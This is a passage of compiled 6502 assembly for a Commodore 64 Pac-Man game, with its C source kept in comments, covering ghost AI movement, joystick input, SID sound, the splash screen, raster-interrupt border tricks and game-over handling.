!__b108+ jmp __b108 !__b108: // if(ghost2_direction==LEFT) lda #LEFT cmp.z ghost2_direction bne !__b109+ jmp __b109 !__b109: // if(ghost2_direction==UP) lda #UP cmp.z ghost2_direction bne __b110 // --ghost2_yfine; dec.z ghost2_yfine __b110: // ghost2_direction!=STOP ldx.z ghost2_direction // if(ghost2_substep==0 && ghost2_direction!=STOP) lda.z ghost2_substep bne __b116 cpx #STOP bne __b111 __b116: // ghost2_substep = 0 // Ghost is on a tile lda #0 sta.z ghost2_substep // if(ghost2_reverse) lda.z ghost2_reverse bne __b112 // char ghost2_xtile = ghost2_xfine/2 // Examine open directions from the new tile to determine next action lda.z ghost2_xfine lsr sta.z ghost2_xtile // char ghost2_ytile = ghost2_yfine/2 lda.z ghost2_yfine lsr sta.z ghost2_ytile // char open_directions = level_tile_directions(ghost2_xtile, ghost2_ytile) ldx.z ghost2_xtile jsr level_tile_directions // char open_directions = level_tile_directions(ghost2_xtile, ghost2_ytile) // open_directions &= DIRECTION_ELIMINATE[ghost2_direction] // Eliminate the direction ghost came from ldy.z ghost2_direction and DIRECTION_ELIMINATE,y tay // if(ghosts_mode==FRIGHTENED) lda #FRIGHTENED cmp.z ghosts_mode beq __b113 // if(ghosts_mode==SCATTER) lda #SCATTER cmp.z ghosts_mode beq __b12 // target_xtile = pacman_xfine/2 lda.z pacman_xfine lsr tax // target_ytile = pacman_yfine/2 lda.z pacman_yfine lsr sta.z target_ytile2 jmp __b114 __b12: lda #2 sta.z target_ytile2 tax __b114: // choose_direction( open_directions, ghost2_xtile, ghost2_ytile, target_xtile, target_ytile ) sty.z choose_direction.open_directions ldy.z ghost2_xtile lda.z ghost2_ytile sta.z choose_direction.ghost_ytile jsr choose_direction // choose_direction( open_directions, ghost2_xtile, ghost2_ytile, target_xtile, target_ytile ) lda.z choose_direction.return // ghost2_direction = choose_direction( open_directions, ghost2_xtile, ghost2_ytile, target_xtile, target_ytile ) sta.z ghost2_direction rts __b113: // ghost2_direction = DIRECTION_SINGLE[open_directions] // Choose a random direction between the open directions lda DIRECTION_SINGLE,y sta.z ghost2_direction rts __b112: // ghost2_direction = DIRECTION_REVERSE[ghost2_direction] // If we are changing between scatter & chase then reverse the direction ldy.z ghost2_direction lda DIRECTION_REVERSE,y sta.z ghost2_direction // ghost2_reverse = 0 lda #0 sta.z ghost2_reverse rts __b111: // ghost2_substep = 1 // Ghost was on a tile and is moving, so he is now between tiles lda #1 sta.z ghost2_substep // if(ghost2_xfine==1) // Teleport if we are in the magic positions cmp.z ghost2_xfine beq __b115 // if(ghost2_xfine==97) lda #$61 cmp.z ghost2_xfine beq !__breturn+ jmp __breturn !__breturn: // ghost2_xfine = 1 lda #1 sta.z ghost2_xfine rts __b115: // ghost2_xfine = 97 lda #$61 sta.z ghost2_xfine rts __b109: // --ghost2_xfine; dec.z ghost2_xfine jmp __b110 __b108: // ++ghost2_yfine; inc.z ghost2_yfine jmp __b110 __b107: // ++ghost2_xfine; inc.z ghost2_xfine jmp __b110 __b106: // if(--ghost2_respawn==0) dec.z ghost2_respawn lda.z ghost2_respawn beq !__breturn+ jmp __breturn !__breturn: // ghost2_direction = LEFT // Spawn ghost lda #LEFT sta.z ghost2_direction // ghost2_xfine = 96 lda #$60 sta.z ghost2_xfine // ghost2_yfine = 70 lda #$46 sta.z ghost2_yfine // ghost2_substep = 0 lda #0 sta.z ghost2_substep rts __b3: // if(ghost1_respawn) // Ghost spawn timer lda.z ghost1_respawn beq !__b123+ jmp __b123 !__b123: // if(ghost1_direction==RIGHT) // Ghost 1 animation // Move in the current direction (unless he is stopped) lda #RIGHT cmp.z ghost1_direction bne !__b124+ jmp __b124 !__b124: // if(ghost1_direction==DOWN) lda #DOWN cmp.z ghost1_direction bne !__b125+ jmp __b125 !__b125: // if(ghost1_direction==LEFT) lda #LEFT cmp.z ghost1_direction bne !__b126+ jmp __b126 !__b126: // if(ghost1_direction==UP) lda #UP cmp.z ghost1_direction bne __b127 // --ghost1_yfine; dec.z ghost1_yfine __b127: // ghost1_direction!=STOP ldx.z ghost1_direction // if(ghost1_substep==0 && ghost1_direction!=STOP) lda.z ghost1_substep bne __b133 cpx #STOP bne __b128 __b133: // ghost1_substep = 0 // Ghost is on a tile lda #0 sta.z ghost1_substep // if(ghost1_reverse) lda.z ghost1_reverse bne __b129 // char ghost1_xtile = ghost1_xfine/2 // Examine open directions from the new tile to determine next action lda.z ghost1_xfine lsr sta.z ghost1_xtile // char ghost1_ytile = ghost1_yfine/2 lda.z ghost1_yfine lsr sta.z ghost1_ytile // char open_directions = level_tile_directions(ghost1_xtile, ghost1_ytile) ldx.z ghost1_xtile jsr level_tile_directions // char open_directions = level_tile_directions(ghost1_xtile, ghost1_ytile) // open_directions &= DIRECTION_ELIMINATE[ghost1_direction] // Eliminate the direction ghost came from ldy.z ghost1_direction and DIRECTION_ELIMINATE,y tay // if(ghosts_mode==FRIGHTENED) lda #FRIGHTENED cmp.z ghosts_mode beq __b130 // if(ghosts_mode==SCATTER) lda #SCATTER cmp.z ghosts_mode beq __b13 // target_xtile = pacman_xfine/2 lda.z pacman_xfine lsr tax // target_ytile = pacman_yfine/2 lda.z pacman_yfine lsr sta.z target_ytile3 jmp __b131 __b13: lda #2 sta.z target_ytile3 tax __b131: // choose_direction( open_directions, ghost1_xtile, ghost1_ytile, target_xtile, target_ytile ) sty.z choose_direction.open_directions ldy.z ghost1_xtile lda.z ghost1_ytile sta.z choose_direction.ghost_ytile jsr choose_direction // choose_direction( open_directions, ghost1_xtile, ghost1_ytile, target_xtile, target_ytile ) lda.z choose_direction.return // ghost1_direction = choose_direction( open_directions, ghost1_xtile, ghost1_ytile, target_xtile, target_ytile ) sta.z ghost1_direction rts __b130: // ghost1_direction = DIRECTION_SINGLE[open_directions] // Choose a random direction between the open directions lda DIRECTION_SINGLE,y sta.z ghost1_direction rts __b129: // ghost1_direction = DIRECTION_REVERSE[ghost1_direction] // If we are changing between scatter & chase then reverse the direction ldy.z ghost1_direction lda DIRECTION_REVERSE,y sta.z ghost1_direction // ghost1_reverse = 0 lda #0 sta.z ghost1_reverse rts __b128: // ghost1_substep = 1 // Ghost was on a tile and is moving, so he is now between tiles lda #1 sta.z ghost1_substep // if(ghost1_xfine==1) // Teleport if we are in the magic positions cmp.z ghost1_xfine beq __b132 // if(ghost1_xfine==97) lda #$61 cmp.z ghost1_xfine beq !__breturn+ jmp __breturn !__breturn: // ghost1_xfine = 1 lda #1 sta.z ghost1_xfine rts __b132: // ghost1_xfine = 97 lda #$61 sta.z ghost1_xfine rts __b126: // --ghost1_xfine; dec.z ghost1_xfine jmp __b127 __b125: // ++ghost1_yfine; inc.z ghost1_yfine jmp __b127 __b124: // ++ghost1_xfine; inc.z ghost1_xfine jmp __b127 __b123: // if(--ghost1_respawn==0) dec.z ghost1_respawn lda.z ghost1_respawn beq !__breturn+ jmp __breturn !__breturn: // ghost1_direction = DOWN // Spawn ghost 1 lda #DOWN sta.z ghost1_direction // ghost1_xfine = 96 lda #$60 sta.z ghost1_xfine // ghost1_yfine = 2 lda #2 sta.z ghost1_yfine // ghost1_substep = 0 lda #0 sta.z ghost1_substep rts __b2: // if(pacman_direction==RIGHT) // Animate pacman // Move pacman in the current direction (unless he is stopped) lda #RIGHT cmp.z pacman_direction beq __b140 // if(pacman_direction==DOWN) lda #DOWN cmp.z pacman_direction beq __b141 // if(pacman_direction==LEFT) lda #LEFT cmp.z pacman_direction beq __b142 // if(pacman_direction==UP) lda #UP cmp.z pacman_direction bne __b143 // --pacman_yfine; dec.z pacman_yfine __b143: // pacman_direction!=STOP ldx.z pacman_direction // if(pacman_substep==0 && pacman_direction!=STOP) lda.z pacman_substep bne __b147 cpx #STOP bne __b144 __b147: // pacman_substep = 0 // Pacman is on a (new) tile lda #0 sta.z pacman_substep // char pacman_xtile = pacman_xfine/2 // Examine open directions from the new tile to determine next action lda.z pacman_xfine lsr tax // char pacman_ytile = pacman_yfine/2 lda.z pacman_yfine lsr // char open_directions = level_tile_directions(pacman_xtile, pacman_ytile) jsr level_tile_directions // char open_directions = level_tile_directions(pacman_xtile, pacman_ytile) tax // CIA1->PORT_A & 0x0f lda #$f and CIA1 // (CIA1->PORT_A & 0x0f)^0x0f eor #$f // char joy_directions = ((CIA1->PORT_A & 0x0f)^0x0f)*4 // Read joystick#2 - arrange bits to match DIRECTION asl asl // if(joy_directions!=0) cmp #0 beq __b145 // joy_directions&open_directions stx.z $ff and.z $ff // char new_direction = DIRECTION_SINGLE[joy_directions&open_directions] tay lda DIRECTION_SINGLE,y // if(new_direction!=0) cmp #0 beq __b145 // pacman_direction = new_direction sta.z pacman_direction __b145: // pacman_direction &= open_directions // Stop pacman if the current direction is no longer open lda.z pacman_direction sax.z pacman_direction rts __b144: // pacman_substep = 1 // Pacman was on a tile and is moving, so he is now between tiles lda #1 sta.z pacman_substep // pacman_ch1_enabled = 1 // Enable the eating sound whenever pacman is moving sta.z pacman_ch1_enabled // if(pacman_xfine==1) // Teleport if we are in the magic positions cmp.z pacman_xfine beq __b146 // if(pacman_xfine==97) lda #$61 cmp.z pacman_xfine beq !__breturn+ jmp __breturn !__breturn: // pacman_xfine = 1 lda #1 sta.z pacman_xfine rts __b146: // pacman_xfine = 97 lda #$61 sta.z pacman_xfine rts __b142: // --pacman_xfine; dec.z pacman_xfine jmp __b143 __b141: // ++pacman_yfine; inc.z pacman_yfine jmp __b143 __b140: // ++pacman_xfine; inc.z pacman_xfine jmp __b143 } pacman_sound_play: { // if(pacman_ch1_enabled) lda.z pacman_ch1_enabled beq __breturn // *SID_CH1_FREQ_HI = PACMAN_CH1_FREQ_HI[pacman_ch1_idx] // Play the entire sound - and then reset and disable it ldy.z pacman_ch1_idx lda PACMAN_CH1_FREQ_HI,y sta SID_CH1_FREQ_HI // SID->CH1_CONTROL = PACMAN_CH1_CONTROL[pacman_ch1_idx] lda PACMAN_CH1_CONTROL,y sta SID+OFFSET_STRUCT_MOS6581_SID_CH1_CONTROL // if(++pacman_ch1_idx==sizeof(PACMAN_CH1_FREQ_HI)) inc.z pacman_ch1_idx lda #$16*SIZEOF_CHAR cmp.z pacman_ch1_idx bne __breturn // pacman_ch1_idx = 0 lda #0 sta.z pacman_ch1_idx // pacman_ch1_enabled = 0 sta.z pacman_ch1_enabled __breturn: // } rts } // Initializes all data for the splash and shows the splash. // Returns when the splash is complete and the user clicks the joystidk #2 button splash_run: { .const toDd001_return = 3^(>SCREENS_1)/$40 .const toD0181_return = 0 .label xpos = 5 .label i = $14 // asm sei // CIA1->INTERRUPT = CIA_INTERRUPT_CLEAR // Disable CIA 1 Timer IRQ lda #CIA_INTERRUPT_CLEAR sta CIA1+OFFSET_STRUCT_MOS6526_CIA_INTERRUPT // *PROCPORT_DDR = PROCPORT_DDR_MEMORY_MASK // Disable kernal & basic & IO lda #PROCPORT_DDR_MEMORY_MASK sta.z PROCPORT_DDR // *PROCPORT = PROCPORT_RAM_ALL lda #PROCPORT_RAM_ALL sta.z PROCPORT // memset((char*)0x4000, 0, 0xc00) // Reset memory to avoid crashes lda #<$4000 sta.z memset.str lda #>$4000 sta.z memset.str+1 lda #<$c00 sta.z memset.num lda #>$c00 sta.z memset.num+1 jsr memset // byteboozer_decrunch(RASTER_CODE_CRUNCHED) lda #<RASTER_CODE_CRUNCHED sta.z byteboozer_decrunch.crunched lda #>RASTER_CODE_CRUNCHED sta.z byteboozer_decrunch.crunched+1 // Decrunch raster code jsr byteboozer_decrunch // byteboozer_decrunch(LOGIC_CODE_CRUNCHED) lda #<LOGIC_CODE_CRUNCHED sta.z byteboozer_decrunch.crunched lda #>LOGIC_CODE_CRUNCHED sta.z byteboozer_decrunch.crunched+1 // Decrunch logic code jsr byteboozer_decrunch // merge_code(RASTER_CODE, RASTER_CODE_UNMERGED, LOGIC_CODE_UNMERGED) // Merge the raster with the logic-code jsr merge_code // memset(BANK_1+0x2000, 0x00, 0x1fff) // Clear the graphics banks lda #<BANK_1+$2000 sta.z memset.str lda #>BANK_1+$2000 sta.z memset.str+1 lda #<$1fff sta.z memset.num lda #>$1fff sta.z memset.num+1 jsr memset // memset(BANK_2, 0x00, 0x3fff) lda #<BANK_2 sta.z memset.str lda #>BANK_2 sta.z memset.str+1 lda #<$3fff sta.z memset.num lda #>$3fff sta.z memset.num+1 jsr memset // init_render_index() // Initialize the renderer tables jsr init_render_index // byteboozer_decrunch(SPLASH_CRUNCHED) lda #<SPLASH_CRUNCHED sta.z byteboozer_decrunch.crunched lda #>SPLASH_CRUNCHED sta.z byteboozer_decrunch.crunched+1 // decrunch splash screen jsr byteboozer_decrunch // splash_show() // Show the splash screen jsr splash_show // memset(BANK_1, 0x00, 0x1fff) // Clear the graphics bank lda #<BANK_1 sta.z memset.str lda #>BANK_1 sta.z memset.str+1 lda #<$1fff sta.z memset.num lda #>$1fff sta.z memset.num+1 jsr memset // init_bobs_restore() // Initialize bobs_restore to "safe" values jsr init_bobs_restore // byteboozer_decrunch(BOB_GRAPHICS_CRUNCHED) lda #<BOB_GRAPHICS_CRUNCHED sta.z byteboozer_decrunch.crunched lda #>BOB_GRAPHICS_CRUNCHED sta.z byteboozer_decrunch.crunched+1 // decrunch bobs graphics tables jsr byteboozer_decrunch // init_sprite_pointers() // Set sprite pointers on all screens (in both graphics banks) jsr init_sprite_pointers // memcpy(INTRO_MUSIC_CRUNCHED_UPPER, INTRO_MUSIC_CRUNCHED, INTRO_MUSIC_CRUNCHED_SIZE) // Move the crunched music to upper memory before decrunching it jsr memcpy // byteboozer_decrunch(INTRO_MUSIC_CRUNCHED_UPPER) lda #<INTRO_MUSIC_CRUNCHED_UPPER sta.z byteboozer_decrunch.crunched lda #>INTRO_MUSIC_CRUNCHED_UPPER sta.z byteboozer_decrunch.crunched+1 // zero-fill the entire Init segment //memset(LEVEL_TILES_CRUNCHED, 0, INTRO_MUSIC_CRUNCHED+INTRO_MUSIC_CRUNCHED_SIZE-LEVEL_TILES_CRUNCHED); // decrunch intro music jsr byteboozer_decrunch // memset(INTRO_MUSIC_CRUNCHED_UPPER, 0, INTRO_MUSIC_CRUNCHED_SIZE) // Zero-fill the upper memory lda #<INTRO_MUSIC_CRUNCHED_UPPER sta.z memset.str lda #>INTRO_MUSIC_CRUNCHED_UPPER sta.z memset.str+1 lda #<INTRO_MUSIC_CRUNCHED_SIZE sta.z memset.num lda #>INTRO_MUSIC_CRUNCHED_SIZE sta.z memset.num+1 jsr memset // *PROCPORT_DDR = PROCPORT_DDR_MEMORY_MASK // Disable kernal & basic - enable IO lda #PROCPORT_DDR_MEMORY_MASK sta.z PROCPORT_DDR // *PROCPORT = PROCPORT_RAM_IO lda #PROCPORT_RAM_IO sta.z PROCPORT ldx #0 txa sta.z i __b2: // for(char i=0;i<8;i++) lda.z i cmp #8 bcs !__b3+ jmp __b3 !__b3: // CIA2->PORT_A = toDd00(SCREENS_1) // Set initial graphics bank lda #toDd001_return sta CIA2 // canvas_base_hi = BYTE1(SPRITES_2) // Set initial render/restore buffer lda #>SPRITES_2 sta.z canvas_base_hi // bobs_restore_base = NUM_BOBS*SIZE_BOB_RESTORE lda #NUM_BOBS*SIZE_BOB_RESTORE sta.z bobs_restore_base // VICII->MEMORY = toD018(SCREENS_1, SCREENS_1) // Select first screen lda #toD0181_return sta VICII+OFFSET_STRUCT_MOS6569_VICII_MEMORY // VICII->SPRITES_XMSB = msb stx VICII+OFFSET_STRUCT_MOS6569_VICII_SPRITES_XMSB // VICII->SPRITES_ENABLE = 0xff lda #$ff sta VICII+OFFSET_STRUCT_MOS6569_VICII_SPRITES_ENABLE // VICII->SPRITES_EXPAND_X = 0xff sta VICII+OFFSET_STRUCT_MOS6569_VICII_SPRITES_EXPAND_X // VICII->BORDER_COLOR = BLACK lda #BLACK sta VICII+OFFSET_STRUCT_MOS6569_VICII_BORDER_COLOR // VICII->BG_COLOR = BLACK sta VICII+OFFSET_STRUCT_MOS6569_VICII_BG_COLOR // VICII->SPRITES_MCOLOR1 = BLUE lda #BLUE sta VICII+OFFSET_STRUCT_MOS6569_VICII_SPRITES_MCOLOR1 // VICII->SPRITES_MCOLOR2 = RED lda #RED sta VICII+OFFSET_STRUCT_MOS6569_VICII_SPRITES_MCOLOR2 // top_sprites_mc = 0x03 // On the splash screen sprites all sprites are SC - except sprite #0,1 on the top/bottom of the screen lda #3 sta.z top_sprites_mc // side_sprites_mc = 0x00 lda #0 sta.z side_sprites_mc // bottom_sprites_mc = 0x03 lda #3 sta.z bottom_sprites_mc // top_sprites_color = YELLOW // On the splash top/bottom sc-sprites are yellow and side-sprites are blue lda #YELLOW sta.z top_sprites_color // side_sprites_color = BLUE lda #BLUE sta.z side_sprites_color // bottom_sprites_color = YELLOW lda #YELLOW sta.z bottom_sprites_color // VICII->SPRITES_MC = top_sprites_mc // Set the initial top colors/MC lda.z top_sprites_mc sta VICII+OFFSET_STRUCT_MOS6569_VICII_SPRITES_MC ldx #0 // Set initial Sprite Color __b6: // for(char i=0;i<8;i++) cpx #8 bcc __b7 // VICII->CONTROL2 = 0x08 // Set VICII CONTROL2 ($d016) to 8 to allow ASL, LSR to be used for opening the border lda #8 sta VICII+OFFSET_STRUCT_MOS6569_VICII_CONTROL2 ldx #0 // Move the bobs to the center to avoid interference while rendering the level __b9: // for(char i=0;i<4;i++) cpx #4 bcc __b10 // asm // Disable SID CH#3 lda #1 sta INTRO_MUSIC+$69 // Init music lda #0 // (*musicInit)() jsr musicInit // phase = 0 // Set phase to intro lda #0 sta.z phase // VICII->CONTROL1 = VICII_RSEL|VICII_DEN|VICII_ECM|VICII_BMM // Start a hyperscreen with no badlines and open borders // Set screen height to 25 lines (preparing for the hyperscreen), enable display // Set an illegal mode to prevent any character graphics lda #VICII_RSEL|VICII_DEN|VICII_ECM|VICII_BMM sta VICII+OFFSET_STRUCT_MOS6569_VICII_CONTROL1 // Wait for line 0xfa (lower border) __b12: // while(VICII->RASTER!=0xfa) lda #$fa cmp VICII+OFFSET_STRUCT_MOS6569_VICII_RASTER bne __b12 // VICII->CONTROL1 &= ~(VICII_RST8|VICII_RSEL|VICII_DEN) // Open lower/upper border using RSEL - and disable all graphics (except sprites) // Set up RASTER IRQ to start at irq_screen_top() (RST8=0) lda #(VICII_RST8|VICII_RSEL|VICII_DEN)^$ff and VICII+OFFSET_STRUCT_MOS6569_VICII_CONTROL1 sta VICII+OFFSET_STRUCT_MOS6569_VICII_CONTROL1 // VICII->RASTER = IRQ_SCREEN_TOP_LINE lda #IRQ_SCREEN_TOP_LINE sta VICII+OFFSET_STRUCT_MOS6569_VICII_RASTER // *HARDWARE_IRQ = &irq_screen_top lda #<irq_screen_top sta HARDWARE_IRQ lda #>irq_screen_top sta HARDWARE_IRQ+1 // VICII->IRQ_ENABLE = IRQ_RASTER // Enable Raster Interrupt lda #IRQ_RASTER sta VICII+OFFSET_STRUCT_MOS6569_VICII_IRQ_ENABLE // asm // Acknowledge any timer IRQ lda CIA1_INTERRUPT // *IRQ_STATUS = 0x0f // Acknowledge any VIC IRQ lda #$f sta IRQ_STATUS // asm cli // joyinit() // Prepare for joystick control jsr joyinit // music_play_next = 0 // Wait for fire lda #0 sta.z music_play_next __b14: // joyfire() jsr joyfire // while(!joyfire()) cmp #0 beq __b15 // } rts __b15: // if(music_play_next) lda.z music_play_next beq __b14 // (*musicPlay)() //VICII->BG_COLOR=1; jsr musicPlay // music_play_next = 0 //VICII->BG_COLOR=0; lda #0 sta.z music_play_next jmp __b14 __b10: // bobs_xcol[i] = 10 lda #$a sta bobs_xcol,x // bobs_yfine[i] = 45 lda #$2d sta bobs_yfine,x // bobs_bob_id[i] = 0 lda #0 sta bobs_bob_id,x // for(char i=0;i<4;i++) inx jmp __b9 __b7: // SPRITES_COLOR[i] = top_sprites_color lda.z top_sprites_color sta SPRITES_COLOR,x // for(char i=0;i<8;i++) inx jmp __b6 __b3: // i*2 lda.z i asl tay // SPRITES_YPOS[i*2] = 7 lda #7 sta SPRITES_YPOS,y // unsigned int xpos = sprites_xpos[i] lda sprites_xpos,y sta.z xpos lda sprites_xpos+1,y sta.z xpos+1 // SPRITES_XPOS[i*2] = (char)xpos lda.z xpos sta SPRITES_XPOS,y // msb /= 2 txa lsr tax // BYTE1(xpos) lda.z xpos+1 // if(BYTE1(xpos)) cmp #0 beq __b4 // msb |=0x80 txa ora #$80 tax __b4: // for(char i=0;i<8;i++) inc.z i jmp __b2 .segment Data // Sprite positions sprites_xpos: .word $1e7, $13f, $10f, $df, $af, $7f, $4f, $1f } .segment Code // Initialize all data for gameplay and runs the game. // Exits when the user has won or lost gameplay_run: { .label __4 = 9 // asm sei ldx #0 // Stop any sound __b1: // for(char i=0;i<0x2f;i++) cpx #$2f bcs !__b2+ jmp __b2 !__b2: // pacman_wins = 0 // Pacman has not won yet lda #0 sta.z pacman_wins // pacman_lives = 3 // Pacman has 3 lives lda #3 sta.z pacman_lives // VICII->SPRITES_MCOLOR1 = BLACK // During transition all sprites are black lda #BLACK sta VICII+OFFSET_STRUCT_MOS6569_VICII_SPRITES_MCOLOR1 // VICII->SPRITES_MCOLOR2 = BLACK sta VICII+OFFSET_STRUCT_MOS6569_VICII_SPRITES_MCOLOR2 ldx #0 __b4: // for(char i=0;i<8;i++) cpx #8 bcs !__b5+ jmp __b5 !__b5: // byteboozer_decrunch(LEVEL_TILES_CRUNCHED) lda #<LEVEL_TILES_CRUNCHED sta.z byteboozer_decrunch.crunched lda #>LEVEL_TILES_CRUNCHED sta.z byteboozer_decrunch.crunched+1 // decrunch level tiles jsr byteboozer_decrunch // init_level_tile_directions() // Initialize tile directions jsr init_level_tile_directions // init_sprite_pointers() // Set sprite pointers on all screens (in both graphics banks) jsr init_sprite_pointers // level_show() jsr level_show // level_show() // pill_count = level_show() // Show the level lda.z __4 sta.z pill_count lda.z __4+1 sta.z pill_count+1 // top_sprites_mc = 0xff // During gameplay all sprites are MC. lda #$ff sta.z top_sprites_mc // side_sprites_mc = 0xff sta.z side_sprites_mc // bottom_sprites_mc = 0xff sta.z bottom_sprites_mc // top_sprites_color = YELLOW // During gameplay all sprites are yellow lda #YELLOW sta.z top_sprites_color // side_sprites_color = YELLOW sta.z side_sprites_color // bottom_sprites_color = YELLOW sta.z bottom_sprites_color // VICII->SPRITES_MC = top_sprites_mc // Set the initial top colors/MC lda.z top_sprites_mc sta VICII+OFFSET_STRUCT_MOS6569_VICII_SPRITES_MC ldx #0 // Set initial Sprite Color __b7: // for(char i=0;i<8;i++) cpx #8 bcc __b8 // VICII->SPRITES_MCOLOR1 = BLUE // Set sprite MC-colors for the game lda #BLUE sta VICII+OFFSET_STRUCT_MOS6569_VICII_SPRITES_MCOLOR1 // VICII->SPRITES_MCOLOR2 = RED lda #RED sta VICII+OFFSET_STRUCT_MOS6569_VICII_SPRITES_MCOLOR2 // phase = 1 // Set phase to game lda #1 sta.z phase // spawn_all() // Spawn pacman and all ghosts jsr spawn_all // pacman_sound_init() // Initialize the game sound jsr pacman_sound_init // game_playable = 1 // Start the game play lda #1 sta.z game_playable // VICII->CONTROL1 = VICII_RSEL|VICII_DEN|VICII_ECM|VICII_BMM // Turn on raster after transition // Start a hyperscreen with no badlines and open borders // Set screen height to 25 lines (preparing for the hyperscreen), enable display lda #VICII_RSEL|VICII_DEN|VICII_ECM|VICII_BMM sta VICII+OFFSET_STRUCT_MOS6569_VICII_CONTROL1 // Wait at least one frames for DEN to take effect __b10: // while(VICII->RASTER!=0xfb) lda #$fb cmp VICII+OFFSET_STRUCT_MOS6569_VICII_RASTER bne __b10 __b11: // while(VICII->RASTER!=0xfa) lda #$fa cmp VICII+OFFSET_STRUCT_MOS6569_VICII_RASTER bne __b11 // VICII->CONTROL1 &= ~(VICII_RST8|VICII_RSEL|VICII_DEN) // Open lower/upper border using RSEL - and disable all graphics (except sprites) // Set up RASTER IRQ to start at irq_screen_top() (RST8=0) lda #(VICII_RST8|VICII_RSEL|VICII_DEN)^$ff and VICII+OFFSET_STRUCT_MOS6569_VICII_CONTROL1 sta VICII+OFFSET_STRUCT_MOS6569_VICII_CONTROL1 // VICII->RASTER = IRQ_SCREEN_TOP_LINE lda #IRQ_SCREEN_TOP_LINE sta VICII+OFFSET_STRUCT_MOS6569_VICII_RASTER // *HARDWARE_IRQ = &irq_screen_top lda #<irq_screen_top sta HARDWARE_IRQ lda #>irq_screen_top sta HARDWARE_IRQ+1 // VICII->IRQ_ENABLE = IRQ_RASTER // Enable Raster Interrupt lda #IRQ_RASTER sta VICII+OFFSET_STRUCT_MOS6569_VICII_IRQ_ENABLE // asm // Acknowledge any timer IRQ lda CIA1_INTERRUPT // *IRQ_STATUS = 0x0f // Acknowledge any VIC IRQ lda #$f sta IRQ_STATUS // asm cli __b13: // if(pacman_wins || pacman_lives==0) lda.z pacman_wins bne __breturn lda.z pacman_lives beq __breturn jmp __b13 __breturn: // } rts __b8: // SPRITES_COLOR[i] = top_sprites_color lda.z top_sprites_color sta SPRITES_COLOR,x // for(char i=0;i<8;i++) inx jmp __b7 __b5: // SPRITES_COLOR[i] = BLACK lda #BLACK sta SPRITES_COLOR,x // for(char i=0;i<8;i++) inx jmp __b4 __b2: // ((char*)SID)[i] = 0 lda #0 sta SID,x // for(char i=0;i<0x2f;i++) inx jmp __b1 } // Show Victory or Game Over Image // Returns when the user clicks the joystick button done_run: { // Show the win graphics .label gfx = 5 .label ypos = $10 .label xcol = $14 // game_playable = 0 // Stop the game play lda #0 sta.z game_playable // phase = 0 // Set phase to intro sta.z phase tax // Stop any sound __b4: // for(char i=0;i<0x2f;i++) cpx #$2f bcs !__b5+ jmp __b5 !__b5: ldx #0 // Move the bobs to the center to avoid interference while rendering the level __b6: // for(char i=0;i<4;i++) cpx #4 bcc __b7 // asm // Init music lda #0 // (*musicInit)() jsr musicInit // if(pacman_wins) lda.z pacman_wins bne __b2 // byteboozer_decrunch(GAMEOVER_GFX_CRUNCHED) lda #<GAMEOVER_GFX_CRUNCHED sta.z byteboozer_decrunch.crunched lda #>GAMEOVER_GFX_CRUNCHED sta.z byteboozer_decrunch.crunched+1 // decrunch game over graphics jsr byteboozer_decrunch __b1: lda #<WIN_GFX sta.z gfx lda #>WIN_GFX sta.z gfx+1 lda #0 sta.z xcol __b9: // for(char xcol=0;xcol<25;xcol++) lda.z xcol cmp #$19 bcc __b3 // music_play_next = 0 // Wait for fire lda #0 sta.z music_play_next __b14: // joyfire() jsr joyfire // while(!joyfire()) cmp #0 beq __b15 // } rts __b15: // if(music_play_next) lda.z music_play_next beq __b14 // (*musicPlay)() //VICII->BG_COLOR=1; jsr musicPlay // music_play_next = 0 //VICII->BG_COLOR=0; lda #0 sta.z music_play_next jmp __b14 __b3: lda #0 sta.z ypos __b11: // for(char ypos=0;ypos<25;ypos++) lda.z ypos cmp #$19 bcc __b12 // for(char xcol=0;xcol<25;xcol++) inc.z xcol jmp __b9 __b12: // char pixels = *gfx++ // Render 8px x 1px ldy #0 lda (gfx),y tax inc.z gfx bne !+ inc.z gfx+1 !: // render(xcol, ypos, pixels) stx.z render.pixels jsr render // for(char ypos=0;ypos<25;ypos++) inc.z ypos jmp __b11 __b2: // byteboozer_decrunch(WIN_GFX_CRUNCHED) lda #<WIN_GFX_CRUNCHED sta.z byteboozer_decrunch.crunched lda #>WIN_GFX_CRUNCHED sta.z byteboozer_decrunch.crunched+1 // decrunch win graphics jsr byteboozer_decrunch jmp __b1 __b7: // bobs_xcol[i] = 10 lda #$a sta bobs_xcol,x // bobs_yfine[i] = 45 lda #$2d sta bobs_yfine,x // bobs_bob_id[i] = 0 lda #0 sta bobs_bob_id,x // for(char i=0;i<4;i++) inx jmp __b6 __b5: // ((char*)SID)[i] = 0 lda #0 sta SID,x // for(char i=0;i<0x2f;i++) inx jmp __b4 } // Spawn pacman and all ghosts spawn_all: { // ghosts_mode_count = 0 lda #0 sta.z ghosts_mode_count // pacman_substep = 0 sta.z pacman_substep // ghost1_substep = 0 sta.z ghost1_substep // ghost2_substep = 0 sta.z ghost2_substep // ghost3_substep = 0 sta.z ghost3_substep // ghost4_substep = 0 sta.z ghost4_substep // pacman_direction = STOP lda #STOP sta.z pacman_direction // ghost1_direction = STOP sta.z ghost1_direction // ghost2_direction = STOP sta.z ghost2_direction // ghost3_direction = STOP sta.z ghost3_direction // ghost4_direction = STOP sta.z ghost4_direction // pacman_xfine = 50 lda #$32 sta.z pacman_xfine // ghost1_xfine = 50 sta.z ghost1_xfine // ghost2_xfine = 50 sta.z ghost2_xfine // ghost3_xfine = 50 sta.z ghost3_xfine // ghost4_xfine = 50 sta.z ghost4_xfine // ghost1_yfine = 35 lda #$23 sta.z ghost1_yfine // ghost2_yfine = 35 sta.z ghost2_yfine // ghost3_yfine = 35 sta.z ghost3_yfine // ghost4_yfine = 35 sta.z ghost4_yfine // pacman_yfine = 62 lda #$3e sta.z pacman_yfine // ghost1_respawn = 10 lda #$a sta.z ghost1_respawn // ghost2_respawn = 20 lda #$14 sta.z ghost2_respawn // ghost3_respawn = 30 lda #$1e sta.z ghost3_respawn // ghost4_respawn = 40 lda #$28 sta.z ghost4_respawn // } rts } // Get the open directions at a given (xtile, ytile) position // Returns the open DIRECTIONs as bits // If xtile of ytile is outside the legal range the empty tile (0) is returned // __register(A) char level_tile_directions(__register(X) char xtile, __register(A) char ytile) level_tile_directions: { .label ytiles = $31 // if(xtile>49 || ytile>36) cpx #$31+1 bcs __b1 cmp #$24+1 bcs __b1 // char* ytiles = LEVEL_TILES_DIRECTIONS + LEVEL_YTILE_OFFSET[ytile] asl tay clc lda #<LEVEL_TILES_DIRECTIONS adc LEVEL_YTILE_OFFSET,y sta.z ytiles lda #>LEVEL_TILES_DIRECTIONS adc 